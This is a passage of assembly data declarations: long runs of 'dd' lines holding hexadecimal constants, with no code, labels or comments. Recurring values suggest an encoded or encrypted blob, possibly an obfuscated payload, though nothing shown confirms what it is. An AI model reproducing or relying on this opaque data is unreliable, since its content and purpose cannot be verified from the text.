0D97D8832h, 57819536h, 0A466C7C4h, 0CF825964h dd 0AF9D4078h, 410C9FEFh, 0C5994369h, 156602DBh, 40CDF332h dd 4F2B062Eh, 0B554DB8h, 0CE111C42h, 0DA87AE15h, 92A8C1BBh dd 1C8F242Eh, 9A661132h, 0A42EF1B3h, 9D9491DCh, 156632DBh dd 8F1DFE32h, 0C9AFE7B2h, 0B5527E7Ah, 9FF73AC6h, 0D0E3D7A6h dd 58609D3Bh, 6C2F2CCBh, 9C69EA05h, 15661123h, 156684DBh dd 0B8513A32h, 1723D4D0h, 8DA31387h, 90D377B8h, 1A605124h dd 15662EBDh, 13E81E32h, 1A668832h, 156644BCh, 2DE3AF32h dd 0ED600409h, 9C9F58CDh, 9E192B7h, 7ADD4234h, 75253B29h dd 15660A3Dh, 0D7E74432h, 0B0DB8A2h, 1F8F7053h, 5D668832h dd 0D669B99Fh, 26B91F84h, 0D0E3D7BCh, 58609D3Bh, 156655DBh dd 0CFA10F32h, 265717F9h, 9A941A0Ah, 0D456D70Dh, 9C0E2F8Eh dd 0FCBAE67Fh, 15668837h, 5D7283F5h, 90D3DD70h, 0FC600424h dd 1566883Dh, 0D45989FCh, 0CA9DD603h, 47E6553h, 989546EAh dd 5D7CB7h, 156BCB34h, 0C0FF1132h, 4534CF71h, 58C29697h dd 0EA4F134Eh, 10E31EE2h, 75668832h, 749EF33Dh, 92B4A7BBh dd 128F172Eh, 0DA668832h, 8F5A7D16h, 90A00029h, 137318F7h dd 108F7D67h, 72664432h, 0A601AD18h, 0E4B265Ah, 3E887AEh dd 0FC664432h, 15662223h, 0E1D56667h, 4D9371Fh, 2184CFE7h dd 3CA8CC5Ah, 90D3EEFAh, 0FC609D24h, 15664420h, 0EA569340h dd 7B5F47C2h, 4497B2EDh, 80D2002Ah, 90EBDC65h, 13732A0Ah dd 0ECB677C7h, 92BCC1BBh, 1C8F242Eh, 661132h, 0DB2CD004h dd 0F09C313Fh, 1CA3A7F4h, 0FC251727h, 1566883Eh, 0AF8FC257h dd 7A792D3Bh, 0C230878Ch, 0C096A25Ah, 1DE54BE0h, 1A662232h dd 156613BAh, 0EA07E832h, 70C187h, 0A1D24234h, 98076A81h dd 5DB0B7h, 73312434h, 7539ECB9h, 15EE1ECAh, 74668832h dd 1AB6BB53h, 15663BB9h, 1572F832h, 8118832h, 0A6C397D8h dd 892CF410h, 0E781D4Ah, 248E6C54h, 9B69296Fh, 15662233h dd 0CBE398CBh, 1A6094B5h, 15664AB1h, 156FCB32h, 0EB011132h dd 0D86B9E87h, 0D332A4CEh, 6FE7B7h, 1A064334h, 15668ABFh dd 4498CF32h, 0F6DE9B54h, 0FF0E706Ch, 0ED9BCA86h, 3E3F1CDh dd 1A062427h, 156614BEh, 16813332h, 0AC005CF4h, 1A076CABh dd 156618BEh, 1A9FE832h, 156644BEh, 90EB4332h, 13732A0Ah dd 156E063Dh, 90694432h, 15662230h, 0C5997052h, 156683DBh dd 0EC93CF32h, 0D6D83067h, 0B8FA64A5h, 3B5F0DBBh, 188F4227h dd 0C9662232h, 3217EBEBh, 27FAECDEh, 7CBFC9E1h, 1CA3A7F4h dd 0FC211727h, 1566883Dh, 718A6343h, 98B510AEh, 13AF78EBh dd 1AC91925h, 156643B8h, 14ED2D32h, 0E9661132h, 8D3F115Ah dd 1CEB4BD0h, 75662232h, 15E61ECAh, 74668832h, 3E3F1CDh dd 1D8F2427h, 0A4661132h, 6D9B2415h, 753012B5h, 9E00ECB9h dd 90EB70EBh, 1373B30Ah, 75B6BBCAh, 74B9A954h, 928494BBh dd 58F8E2Eh, 1E664432h, 5C081939h, 0B35430AEh, 4D34D786h dd 1A037694h, 156623B3h, 90A0E932h, 137381F7h, 97692475h dd 15662237h, 16B04388h, 64DFEE00h, 0D70E2508h, 0FCD7DF52h dd 15661139h, 0E7E6EF64h, 73C96BB7h, 75457272h, 1567983Dh dd 749F8832h, 3E3F1CDh, 93692427h, 15661133h, 739AE8C7h dd 98078EB9h, 5D1AB7h, 1561F834h, 7C68832h, 70E634E9h dd 1A36424Bh, 156611B4h, 7493D332h, 986994CDh, 15662233h dd 0F3E398CBh, 756094B5h, 0C2E79B81h, 1307225Bh, 0D0E3D753h dd 52609D3Bh, 156643DBh, 0B5D66832h, 58A7D262h, 0B3989C5Ah dd 0A099B1EDh, 137334B7h, 2DE39CCAh, 75609D09h, 739DFB3Dh dd 0F49ECCB3h, 75B6EE53h, 0A24F58B3h, 9C072116h, 9E1C8B7h dd 0AE007134h, 940042DEh, 741B6DD4h, 0D0E3E4CAh, 4A60043Bh dd 156687DBh, 6D920432h, 5644CC06h, 0E1C13398h, 0D9B290F3h dd 45942C5Ah, 1560CBACh, 2DAB1132h, 0AB7C4EAEh, 3E3F1CDh dd 90692427h, 1566113Dh, 156682DBh, 0E0053332h, 17F2ADF3h dd 0EDF00B1Ch, 2E5E0DBFh, 0FD064227h, 15662221h, 45D522C0h dd 65F89DCEh, 1DF06CBFh, 3F91DD3Fh, 0ED89D50Dh, 0D3DFEE68h dd 0C59925D9h, 4A9F7252h, 7412D8B2h, 92880DBBh, 0AE06422Eh dd 7C1495B9h, 1560943Dh, 0D5E78832h, 407E9B38h, 0D0E3E453h dd 5A60043Bh, 6E59E0C7h, 470683CEh, 743C7965h, 3E3A4CDh dd 989F8E27h, 5D7CB7h, 0C599D734h, 1573953Dh, 46068832h dd 156AAD68h, 31AF2232h, 0E6458DB1h, 5BC4DA8Bh, 9C07E174h dd 9EE38B7h, 1577F834h, 5BA98832h, 9193F87Bh, 0BA8A22F8h dd 2F8432Fh, 0D3D8D2ABh, 6F81B7h, 91696534h, 1566113Eh dd 15668FDBh, 6D457732h, 46A5384Fh, 4E085D5Ah, 0EA87C8h dd 0FC664432h, 15662222h, 0F476CED6h, 4FC2B9A3h, 0D2478F69h dd 1E04CBECh, 3E3A4CDh, 9B698E27h, 15664433h, 2DE3AFCEh dd 0FC600409h, 1566883Fh, 8A3ED564h, 282E773Dh, 35420903h dd 0FCB67740h, 15664439h, 623054B1h, 1A16A148h, 9C6E87AEh dd 9EE5AB7h, 1560CB34h, 0B6251132h, 477CEA8Ch, 1CA3C1F4h dd 1A212427h, 156608B5h, 0AA69E832h, 1569ADF3h, 60812232h dd 0C758115Eh, 6F0FF0DDh, 0F78E5B80h, 9C694311h, 1566113Bh dd 0DBE7EE52h, 0FFD709DCh, 31AB4A53h, 48FD234h, 0E1668832h dd 0B36BFD36h, 0DD3EB6AFh, 62F233CBh, 835A5D6Ah, 758ECE52h dd 1280A2CEh, 0A0997053h, 13739EB7h, 95DF2252h, 156FCBDFh dd 8BF71132h, 0ECB98BA6h, 747D190Dh, 2DE3AFCEh, 0EC600409h dd 15696052h, 0CB234432h, 4607462Dh, 0E9D9E567h, 692D5F48h dd 0E3E72225h, 743EB3C6h, 9969C1CDh, 15668821h, 15664ADBh dd 4DDD9432h, 6F122A2Bh, 3E81A82Dh, 0E0AA05C1h, 9D44A7BBh dd 0D39F172Eh, 6F4DB7h, 7D9E1B34h, 0C1DD42FEh, 90D3EECAh dd 0FC609D24h, 15664435h, 750ED36h, 98A1C533h, 5DB0B7h dd 0C599B834h, 0E7E3ABC7h, 0FC600DB5h, 1566883Dh, 46EC32EDh dd 25A4F906h, 7253A254h, 0E9C1FFCBh, 1CA3C1F4h, 1A392427h dd 156619B4h, 17ED8732h, 75664432h, 1AEC2D53h, 0FC661132h dd 15668838h, 2E99E583h, 4F2FA6D0h, 5B0E94BCh, 1AF86166h dd 156648BAh, 13E32D32h, 1A661132h, 156688B7h, 0DE04B32h dd 0FC662232h, 15661121h dd 0A51D3542h, 4F3F2A39h, 284B10CCh, 5F80AA76h, 0EAF6EABEh dd 70C187h, 1577CB34h, 0FA01132h, 4AA0938Ch, 0FF04AA46h dd 0CF0A4510h, 984283B0h, 5DB0B7h, 1563AD34h, 0AE9D2232h dd 0EA4F141Dh, 18F71E2h, 0D3664432h, 0ACA60149h, 0F35653E3h dd 12E187D3h, 8CD93333h, 9CB06C00h, 9E1E7B7h, 15726134h dd 8D1C4432h, 32DEFE6Bh, 2EA9AE4Fh, 209B8BA0h, 38F4D133h dd 90A00BAFh, 137318F7h, 5D0E706Dh, 75B7571Ah, 0AB9ACCB3h dd 749F19B3h, 3E33DCDh, 96694227h, 15662239h, 0CFE77752h dd 0AC00DC05h, 980780FFh, 5D1AB7h, 1DE31E34h, 1A668832h dd 156646BEh, 0FC074232h, 15661122h, 71821A70h, 0E6DB7CE6h dd 0D2F346A1h, 588DCD00h, 976958CDh, 15664433h, 0EFE3ABCAh dd 1A600DB5h, 156683B2h, 1560AD32h, 7C182232h, 96C1D602h dd 1579083Dh, 9F694432h, 1566222Bh, 156605DBh, 500DFA32h dd 0CDC4A857h, 549205FBh, 3AE6E7Dh, 3A3F55A8h, 0EC622E01h dd 1576225Ah, 156EF832h, 0EFD8832h, 85470EFFh, 150E19D0h dd 1A661122h, 156692BDh, 9C692432h, 15662232h, 15661CDBh dd 28B3B332h, 2F4EC54Eh, 0BDF85F26h, 7F07D1B1h, 0E99EE832h dd 0DCF3BB53h, 0FC603716h, 15661139h, 7B66B42Dh, 0D430CC72h dd 9C902DD8h, 7AB8B7h, 0AE9AE834h, 3D901C66h, 9C694253h dd 15661131h, 0FD9C0354h, 1566443Eh, 20EA1E2h, 0E1608581h dd 97D6F4A4h, 98071CC7h, 95342B7h, 14E21E34h, 0E0668832h dd 78F94CDh, 2E662232h, 0F88D2D8Ah, 940EF594h, 17A8BDAEh dd 57B20402h, 108F71E7h, 0C6668832h, 0D7041209h, 0C95D9B52h dd 74075265h, 1A068C58h, 156646B4h, 1A4A9032h, 15661CBFh dd 15616032h, 2AC54432h, 0D0BB4C75h, 7D074A9Bh, 15669832h dd 156648DBh, 0BA506032h, 0DF5D76B5h, 0AE35572Fh, 35662C35h dd 7F932232h, 12EE1E32h, 75668832h, 0DAD7F88h, 0EA9F4375h dd 42D8A7h, 156A6134h, 54AC4432h, 9067E7F7h, 2988B70Eh dd 9D6998F3h, 15664412h, 156ACB52h, 73121132h, 14DC27Dh dd 8250BE3Eh, 128EA83Ch, 41661132h, 436F9B2Eh, 743E85A2h dd 8D7A7BBh, 9C9E1727h, 6541B7h, 188F2434h, 27662232h dd 0CEA8E1B5h, 945F9B3Eh, 4758C4F1h, 74A9953Dh, 97695158h dd 15668833h, 5662CCBh, 99692232h, 15661124h, 156699DBh dd 0B5CB7932h, 9255E85h, 48AA7382h, 8C7A3268h, 1F8F4113h dd 1A662232h, 6050B9C9h, 4B41CBC7h, 15662C89h, 0FC9E2233h dd 1566113Eh, 4FCE0797h, 0EB558B15h, 233E60DBh, 0EA9E1158h dd 4241A7h, 0FC372434h, 15662238h, 0C2FF41Bh, 0F869AF28h dd 1A38F070h, 9C07D28Dh, 4CECB7h, 0CEE7E834h, 6E6676FBh dd 5CD3A953h, 0FC600406h, 1566883Ah, 0AFCD2E58h, 0ABA95ED1h dd 0C2B8CB9h, 73068E27h, 0CE7F9EB3h, 156628DBh, 0F78F4F32h dd 98A06168h, 7478C69Ch, 1FF797BBh, 1A061727h, 15668ABBh dd 1AE3F032h, 156630B3h, 156AF932h, 8B28832h, 0ACDAA9CBh dd 2363D8A7h, 743D557Ah, 1564073Dh, 74064432h, 2BFBFBBh dd 0FC061727h, 1566883Ch, 0D9EAF8B8h, 992EAC95h, 0FDFFAAAh dd 9969CB75h, 15664425h, 156633DAh, 6167A332h, 48DF3C4Ah dd 892A21D7h, 0A91B30E8h, 743D8F1Bh, 0C2B15B9h, 9B694227h dd 1566222Fh, 29D97752h, 157760B4h, 18AE4432h, 9F19230Dh dd 6E771C20h, 46663F66h, 4BD1C1F8h, 9E55DD53h, 0D1E5353Eh dd 14EC8736h, 0E9664432h, 1A66DBB1h, 155E30B6h, 95DFE832h dd 0FC042D17h, 1566223Eh, 6623752h, 0DF996263h, 5F008DBBh dd 77094A53h, 11EF1132h, 19E68716h, 1A664432h, 156624BBh dd 15EE1E32h, 43668832h, 0D3E7A2BBh, 15662236h, 9262FFB1h dd 9C3AAC06h, 759F603Eh, 0FCA613C7h, 15661139h, 9D20F309h dd 6E2633DEh, 9CC1DFE7h, 6C4CB7h, 0AC06E834h, 2F1C8D9Eh dd 9FBBE8B3h, 73074A52h, 746F3D88h, 127D2C61h, 443D262Bh dd 0C61368Bh, 4CADB936h, 0FC3D9ABBh, 1566223Dh, 0DF8468B9h dd 0B91C438Ch, 1656A1D4h, 94495069h, 8A6FBEF4h, 9E880922h dd 164F3921h, 94460646h, 68759AF4h, 0BA88091Bh, 0EC76DB3Bh dd 1A8F8F54h, 36661132h, 8DA98E03h, 0CDE911A6h, 3A1EF75Eh dd 0C04BD32Ah, 16294220h, 42466076h, 6B4F6B8Dh, 0E289C05Ch dd 97A909EDh, 94015464h, 5D7517F5h, 0D7A1902Dh, 142638CDh dd 9A691BCAh, 15662227h, 15699F3Dh, 1F8F8832h, 0F4664432h dd 37C342EEh, 136D39BAh, 6D167743h, 714270B3h, 4B73F733h dd 399FAA61h, 0F6E7EF24h, 0DD23DA2h, 9460C9F3h, 2D4A7FC1h dd 0BD950937h, 2476A94Fh, 940679ECh, 92D4F8F4h, 0CDEDE1Bh dd 4B6197CCh, 9E88A353h, 945FC262h, 571944F4h, 31124774h dd 0D988A312h, 9420534Dh, 0C63603F4h, 6399BC0Bh, 18F7D2Ah dd 8B661132h, 0F90A8948h, 51ECA549h, 58B8A12Ch, 2D463B2Ch dd 9C97894Bh, 4EF18Fh, 12EE2D34h, 1A661132h, 156689B8h dd 0EAE3B832h, 1524A73Dh, 9A691132h, 1566883Ah, 1564C93Dh dd 74062232h, 1538E6DAh, 19E88732h, 1A664432h, 156624B6h dd 15E31E32h, 0FC668832h, 15664183h, 1567A33Dh, 0FC9A1132h dd 1566883Eh, 4F9C6C73h, 0A6ADDFE3h, 0ADEB913Ah, 1542895Ah dd 316ACD32h, 198F42C7h, 8661132h, 165B9AA8h, 3957EDE4h dd 1AF18BA6h, 156611BDh, 0F9E5E932h, 3152CD36h, 0E7EFDCBBh dd 0CE31E6Ch, 75668832h, 0FCBE84B2h, 1566223Dh, 4D454275h dd 0A893EFC3h, 998B8DDCh, 74EE8BBDh, 156F9E3Dh, 0AA068832h dd 2C449733h, 7E077861h, 128F15E0h, 28668832h, 77532001h dd 80EFCBADh, 1373001Bh, 93DEEE52h, 1568AC89h, 744F2232h dd 51C6F5ACh, 9C84D64Eh, 0D8BF6DA3h, 743FFCB9h, 95691558h dd 15668835h, 7655FE52h, 7D07257Ch, 15660132h, 1573013Dh dd 58F4432h, 0F7662232h, 0DB887906h, 8576401Bh, 0CAB8C149h dd 47DDF518h, 0D7E7F3BBh, 15668836h, 9262AEB1h, 9C3A0626h dd 7F9E3526h, 15726132h, 7ADC4432h, 0E3823611h, 49531735h dd 9C165278h, 0EA5D9E25h, 80992BE7h, 137335FBh, 156682DBh dd 75A01632h, 7D6644DDh, 1ADE5B18h, 156689BEh, 90EFBD32h dd 13732997h, 1568F952h, 3E0B8832h, 0CDDB9B3h, 0F6CA6F66h dd 641AF3Ch, 4AB50354h, 156650DAh, 4917E332h, 3D4D1F94h dd 98E6186h, 38EFF255h, 0DDD4AF30h, 1574F8C1h, 0F2D08832h dd 5AA5F263h, 3BBB03F3h, 63403351h, 8AB0B9E1h, 0AA0E2569h dd 9C662236h, 0FC3C3536h, 15668821h, 9018516Eh, 16CC4811h dd 3238EA27h, 387915C1h, 9ED870FAh, 9C31063Eh, 11A190D5h dd 96668832h, 29E140F5h, 98697E16h, 15661137h, 0E2ED7D52h dd 4848AC53h, 18F2232h, 91661132h, 817FF3B6h, 8D9DDB96h dd 981ACBC2h, 9D7C31CEh, 7D63A402h, 15662D62h, 754216BBh dd 156614DAh, 86037A32h, 7438B0C4h, 7330429Fh, 9ED8C3B3h dd 0A5E0336Ah, 10074F37h, 0AE06A51h, 0E49B137h, 31228B00h dd 3AC66916h, 764B1029h, 7579977Ah, 15668FDBh, 9E39E732h dd 9424AADEh, 980E4153h, 9C668829h, 4A3E600Eh, 1561AF3Dh dd 97691132h, 15668833h, 0EBEF12CEh, 314AA364h, 46222C0Fh dd 28A50969h, 4B35000Fh, 0F3EF74CAh, 1562D7B3h, 0FBE78832h dd 15664436h, 494216B5h, 75422DBBh, 156681DBh, 1FE0B32h dd 249738A9h, 0AF353536h dd 16E7B402h, 7506256Bh, 1566AE3Dh, 9E691132h, 15668832h dd 1568AD53h, 936B2232h, 0DDD7ABF3h, 7C7126BAh, 0E3C3E8BDh dd 75A61253h, 0EDFEE2B2h, 0E8132653h, 156643DBh, 816BC532h dd 4F06BA3Ah, 315203C7h, 9485CD61h, 156626F1h, 11A59032h dd 92668832h, 1A3A602Eh, 15662EB1h, 13E11E32h, 1A668832h dd 156644B1h, 0BEA1A332h, 94648C56h, 12C22DDh, 94B96D1Ah dd 12C88F5h, 0BE89901Ah, 0FC641556h, 1566443Fh, 92432357h dd 2979370Fh, 9D26E632h, 9C36BD64h, 156227D2h, 114B1132h dd 92668832h, 9C3A6036h, 68F0626h, 0A4661132h, 0C9443906h dd 0DF903549h, 5C87FA78h, 0EAD48B8Fh, 4336E4F0h, 0E5EFBABBh dd 4DA4AB6Ch, 0BCDB9ACEh, 1A609D2Eh, 15664AB3h, 156FCB32h dd 0AAE81132h, 41AFDF24h, 0AC571A4Fh, 0EA99DDCDh, 1572923Dh dd 1A8F8832h, 4F664432h, 4BFB2213h, 6E76A8E3h, 9A766537h dd 0D557555Fh, 0AC3770CAh, 6FE2604Ah, 9BEE49B3h, 0DFEFC149h dd 9F94236Bh, 9F694B30h, 1566883Fh, 15664CDBh, 21B61032h dd 0FB22CBB4h, 0FCAEB800h, 1566443Eh, 0CCF31CFFh, 883D413h dd 2CF73132h, 0E5578203h, 8326E403h, 156619DBh, 40239332h dd 0E4949064h, 1AEF2DABh, 0FC661132h, 15668838h, 0C4E8AA1Ah dd 46683CFBh, 2199A30Ah, 316203B5h, 0FC6280B1h, 15662237h dd 0A0DEDECh, 1D8F4919h, 3857FF52h, 0AF005B16h, 24071360h dd 157261F3h, 0C1544432h, 7795144Ch, 0D040C20Fh, 3F4A3716h dd 14C924B4h, 1A2C1D7Dh, 0EA9944B7h, 1BE487CDh, 0FC664432h dd 1566223Bh, 77521D5Ch, 1364F45Ah, 550EB8E8h, 9C662225h dd 1A3E353Eh, 156680BFh, 17E04B32h, 75662232h, 0C2918653h dd 0D2577003h, 7306BC03h, 1A940089h, 156610BDh, 0EA077D32h dd 943C6006h, 156626F6h, 0E00EE932h, 9C66887Bh, 11E76036h dd 124E0316h, 94649E40h, 124EA918h, 156AAD40h, 26A02232h dd 0E9705375h, 1B882051h, 453334D1h, 1566268Ah, 4DA39832h dd 0FC3B6233h, 15664435h, 0A41573A8h, 409BBD15h, 0D0E76DBBh dd 15664436h, 9262CFB1h, 9C3A351Eh, 9506AC26h, 1D8E42D2h dd 7A662232h, 60F3F380h, 0FC3D45A0h, 15664422h, 3D9417C6h dd 0BEDDA647h, 7CD3FB27h, 0E6D0054Fh, 1A064368h, 156612B9h dd 7FBD0832h, 749CF33Dh, 1F3BA7CDh, 9E9A1727h, 6CD5A7h dd 805FBD34h, 13730A87h, 1503953Dh, 94698832h, 15664433h dd 3152DDC7h, 11A29268h, 315203CEh, 9480CD64h, 156626F4h dd 11A09232h, 4942BCB5h, 11DF15C7h, 94662232h, 0C3030F4h dd 94A8897Ch, 0C3065DCh, 188F7B7Ch, 0B8661132h, 0E7A821AFh dd 88ADC321h, 1E0B1B95h, 0EA9A63DBh, 0AA06E8CDh, 2A1B0404h dd 1566AE3Dh, 1A071132h, 156688B9h, 9E9E2532h, 9C360626h dd 156214D2h, 11638832h, 92664432h, 1A3A0636h, 15661BB7h dd 9069E832h, 15664432h, 0EA074352h, 94383506h, 15668CF6h dd 1BEC4B32h, 0FC662232h, 1566113Bh, 989EA910h, 0EA424112h dd 198F4376h, 78661132h, 0D04B82BBh, 97D541CBh, 1AAD8283h dd 15661FBDh, 9669E832h, 15664432h, 1566A03Dh, 9E071132h dd 9C34AC3Eh, 11A4C5D0h, 94662232h, 156615F0h, 31720F32h dd 11EDB86Eh, 0F5EF7216h, 15661537h, 15628D32h, 11E14432h dd 0D29F7E16h, 7E40B7h, 15668834h, 1568AD32h, 16282232h dd 59DFF46Bh, 0BFD42FA2h, 3955A1C9h, 1561A63Dh, 9E691132h dd 15668833h, 4CE383C7h, 1560373Eh, 1A661132h, 156689B3h dd 0A8E5B832h, 137AA550h, 3FE21E32h, 0EC668832h, 8DB5D9BFh dd 9C692429h, 15661133h, 1A93E8CAh, 0EA07838Dh, 12ED2DE1h dd 1A661132h, 156689BCh, 9569B132h, 15662233h, 80E3EECBh dd 0E9609D20h, 7F3F9B1h, 1A022427h, 15644CB0h, 90A17D32h dd 137356A7h, 15662233h, 989371CAh, 95219B7h, 19E14B34h dd 1A662232h, 156617B3h, 15E18732h, 0EA664432h, 1569CBE2h dd 80331132h, 0CE6F46BCh, 895B71F3h, 5D1ECAE7h, 3EF1E74h dd 1A668832h, 156654B6h, 156DCB32h, 8DB61132h, 0D467619Dh dd 1BDE49D1h, 27D3AFF7h, 75600DBAh, 15668DDBh, 121F1232h dd 0A269BAA1h, 0A8EB70C3h, 137B9A1Ch, 64A1C5CAh, 943E7236h dd 476EADDh, 9491A153h, 476BFF5h, 6489A353h, 753E4136h dd 0AF980354h, 2355765Ah, 22464A53h, 29EF1132h, 9169D216h dd 15664437h, 0EC0B9752h, 0BCDB9A53h, 0E0609D2Eh, 0EA99BB8Bh dd 0D557D7CDh, 156E993Dh, 96698832h, 15664430h, 0AE354352h dd 15661132h, 16EC7B33h, 944258B9h, 156626F6h, 1575F832h dd 0DDF48832h, 761BC7E1h, 0BC5DBEC9h, 0D5A6C55Eh, 0D95BEDCEh dd 75AE7454h, 9400DBB9h, 7426E6FAh, 0EA993260h, 0C34FBBCDh dd 95934268h, 0FC075BFAh, 15668835h, 6C1535Eh, 0EA4FABD8h dd 11ED9606h, 11A20B16h, 156AC73Dh, 73062232h, 94C8D388h dd 240F21C0h, 0FCA7255Eh, 156ACB3Ah, 0ECA71132h, 6425770Bh dd 4F2E383Ch, 0D45753F5h, 4FBC9052h, 0FC52F1B6h, 15664438h dd 0DF964176h, 9CEF9B16h, 5F07CC3Ch, 0EA36C13Dh, 9469DDCDh dd 1566113Bh, 15EC8752h, 0EC664432h, 118AA153h, 94421DBBh dd 1EBAC06h, 203E2533h, 746736BFh, 19141CAh, 31620316h dd 156280B3h, 2C9A2232h, 47B4B7h, 8BE28734h, 0FC664432h dd 15662234h, 60880024h, 0F9E7A9AFh, 15664436h, 0A8420EBBh dd 2B953E22h, 946165F3h, 68801ADFh, 488EAB32h, 156618DBh dd 7D48C832h, 1CCE12Ah, 0D56DCBDFh, 1551943Dh, 43068832h dd 15664ADAh, 4F1C6332h, 0CC48A263h, 2FE657E6h, 4AC7A90Eh dd 9969426Ch, 15661132h, 1566023Dh, 74074432h, 0B03A7F5h dd 15671727h, 90698832h, 15664433h, 0AFDB77CAh, 9466206Bh dd 5547A1F3h, 948F452Ah, 55470BDBh, 78F4C2Ah, 0C3668832h dd 0E4D62531h, 89AF0D7Dh, 0A012ED93h, 385CFB76h, 68F25C7h dd 0D9662232h, 0EC3F0E9Bh, 0A59290D3h, 0D2416618h, 5C615D06h dd 7D357B59h, 7CC1C7C9h, 0A085C569h, 0E236566Fh, 0E7DC43E1h dd 3C0E2E23h, 0FEE71EE1h, 0E03C793Ah, 0E93DC8BBh, 133A3163h dd 7D300B59h, 44EC5616h, 8E88906Ch, 94705C04h, 28CA87DCh dd 4B94AB42h, 0E03FDB33h, 5EB00852h, 7506E953h, 1D81A354h dd 0CA8F904Eh, 7422C304h, 9C9E25CEh, 6CB387h, 53A1E834h dd 0ED647ACEh, 0E900C526h, 366440C7h, 149A57B3h, 94668832h dd 52B5B87Ch, 5BE701CDh, 765D4ACEh, 0E9200912h, 0C966C437h dd 0FDA0A952h, 1566113Fh, 5DE42035h, 30E787A2h, 7B036D35h dd 156AF861h, 6F5D8832h, 0C34CD88Eh, 4B89CA30h, 7438A541h dd 0FB88660Fh, 0A1E34BDCh, 75662232h, 1565973Dh, 9E008832h dd 2BE725F4h, 0C8BBFFEFh, 15FB943Dh, 1A068832h, 156642BDh dd 15E72D32h, 73661132h, 746BEF88h, 6C7AFE60h, 0A8333EB8h dd 9EC682Eh, 9C3B621Bh, 449A1E24h, 1566268Bh, 9EA81032h dd 0D1E7AC3Eh, 15664436h, 1567A33Dh, 9C931132h, 6C1987h dd 9E69BC34h, 15662223h, 156D983Dh, 138F8832h, 7C664432h dd 4B31D713h, 3E78F8D9h, 0FC068832h, 15664437h, 608BCA22h dd 4862A8E8h, 0FC079A17h, 0EA99BA84h, 156630DBh, 29D84432h dd 59735283h, 22D349Eh, 0E4ADA98Eh, 1A1543A2h, 156682BDh dd 1563AD32h, 35F02232h, 94A589C6h, 15668CDEh, 3162CD32h dd 854226B3h, 4E1DAB12h dd 35F663B3h, 0ED063F88h, 156630DBh, 71F4D332h, 0A44DB598h dd 2B39F45Dh, 0E8319885h, 7465D013h, 0B030D01h, 48F4227h dd 35662232h, 39569928h, 4D2BC037h, 3C43EF59h, 12117B27h dd 1A65D9F3h, 15669CBAh, 1BE84B32h, 0FC662232h, 1566113Bh dd 8C3FF754h, 0BB8A55F6h, 0A3DC70A1h, 0C4116737h, 759409D0h dd 943E632Ah, 183982C0h, 1184D068h, 94606AF3h, 65A56AF0h dd 4FB62360h, 3B4BC11Bh, 750D2B41h, 156656DAh, 6CD9B532h dd 779A961Ch, 0CA7A4812h, 0DB918EAh, 1AB2B0A0h, 0FC3DE785h dd 15668837h, 7143C851h, 78F43C5h, 0F1661132h, 17C3886Bh dd 5906A967h, 7F72BB3Bh, 112B8D27h, 5A64902h, 1567CF3Dh dd 24932232h, 1560F8FAh, 0FC1B8832h, 56F7C735h, 0B03BFBBh dd 9B691727h, 1566883Ah, 1564CE3Dh, 74062232h, 1466110Fh dd 0AAE58732h, 0FC664433h, 15662221h, 0A966EB7Ch, 82FB73F0h dd 0DB34A9EDh, 0B0FF4AD7h, 943BF563h, 0AEDD330Ch, 8EE34B89h dd 75662233h, 10E31ECEh, 73668832h, 0E173A3B3h, 460E553h dd 0C44AAB78h, 14DDDB14h, 1C041E5Fh, 13E7792Ch, 91E713EFh dd 15668DDBh, 433C4532h, 0AA31C191h, 15661136h, 469B4EB3h dd 0EB674E72h, 469BCCB3h, 0FC391B72h, 15668821h, 0F81F886Ch dd 0DAC9EC0Eh, 0F5FC4A19h, 894C0A30h, 9CC2846Ah, 6CB387h dd 19E41E34h, 1A668832h, 156642BEh, 15E12D32h, 9E661132h dd 7FC5AFh, 2699B834h, 94422EB9h, 156615F6h, 138FE832h dd 0A9664432h, 7449B51Fh, 2AD97716h, 0F9E5E91Bh, 3162CD36h dd 1576CB68h, 0D8251132h, 716C5ED0h, 0B79CA490h, 12B78694h dd 1A06A349h, 156689B9h, 9B69B132h, 15662221h, 15661FDBh dd 59E27F32h, 870F445Fh, 952146Bh, 4343F1C1h, 0E5EFD660h dd 14EA4B6Ch, 0E9662232h, 9DB9419h, 93698E27h, 15664420h dd 15662FDBh, 90F3A332h, 0BFEF457Ah, 6F928E92h, 0F5A753ADh dd 83D77130h, 0D55C51B3h, 16073010h, 674BB7h, 5E21E34h dd 75668832h, 156641DBh, 78C66132h, 0AB006C3Eh, 2407DC0Fh dd 24A075C2h, 0ED3442C2h, 74979A69h, 14EE879Fh, 0E9664432h dd 1D62251Fh, 43AE1026h, 1D628F8Ch, 4B964526h, 156CAB3Dh dd 108F1132h, 41668832h, 767F34F8h, 3122ABC7h, 1DE41E2Eh dd 1A668832h, 156646BBh, 74074232h, 15661CDBh, 54338632h dd 413427ECh, 0F24E66BEh, 698FD391h, 75668831h, 35C75C8Ah dd 13E32D6Dh, 1A661132h, 156688B0h, 0F9E72532h, 15662236h dd 75421DBBh, 0FCBF3F3Dh, 15664422h, 0B2FB29Ch, 0D82C90BCh dd 26531FB1h, 0D3807B4Eh, 0F2EF7553h, 1562D6B3h, 0FAE58832h dd 315AC336h, 3172AB6Eh, 156602DBh, 0B0516E32h, 27BF605Dh dd 2A70FBCh, 782CB090h, 0E884422Ch, 95698D03h, 15662233h dd 0B0F39ACEh, 0FC609D39h, 1566443Ah, 0C3640E65h, 0CEC19E58h dd 91698A09h, 156644DDh, 156631DBh, 0C4A2C832h, 272F0415h dd 0D088E52Ch, 2361440Eh, 0FC1AF468h, 1561DC5Ah, 317ACD32h dd 15662689h, 4EBC1032h, 1577093Dh, 198F4432h, 0E9662232h dd 886E9730h, 8F1F1BE4h, 46504284h, 9C0AE689h, 0E2B5E653h dd 0D08D09E1h, 3C07CD5Eh, 1A0679EBh, 9E00C285h, 985DE9F9h dd 13736C87h, 0EAF4A73Dh, 9569EECDh, 15668839h, 15E94B52h dd 95662232h, 4307B7DAh, 6E7D9E8Ch, 0F18CFC59h, 0CA63B6B6h dd 143E9F23h, 4B9A5C2h, 1A381CBCh, 156634BCh, 1E8F7132h dd 0E6668832h, 0F78AE190h, 4629C74Dh, 0AE007559h, 9807DAFCh dd 29DABFh, 1569CB34h, 99C11132h, 5DA48BFBh, 0DE6DBF62h dd 80AF8443h, 12E81EB8h, 1A668832h, 156645B0h, 0F499D732h dd 15739E3Dh, 1A068832h, 1E8FB785h, 0BB662232h, 52D423E7h dd 86AA3059h, 9C07BD3Dh, 6C7FBFh, 0C8E67134h, 0CDDD897h dd 4E70B9A3h, 3172A953h, 94879863h, 15668CF3h, 11A7C732h dd 49422EB5h, 1567993Dh, 0EA9E8832h, 963F6006h, 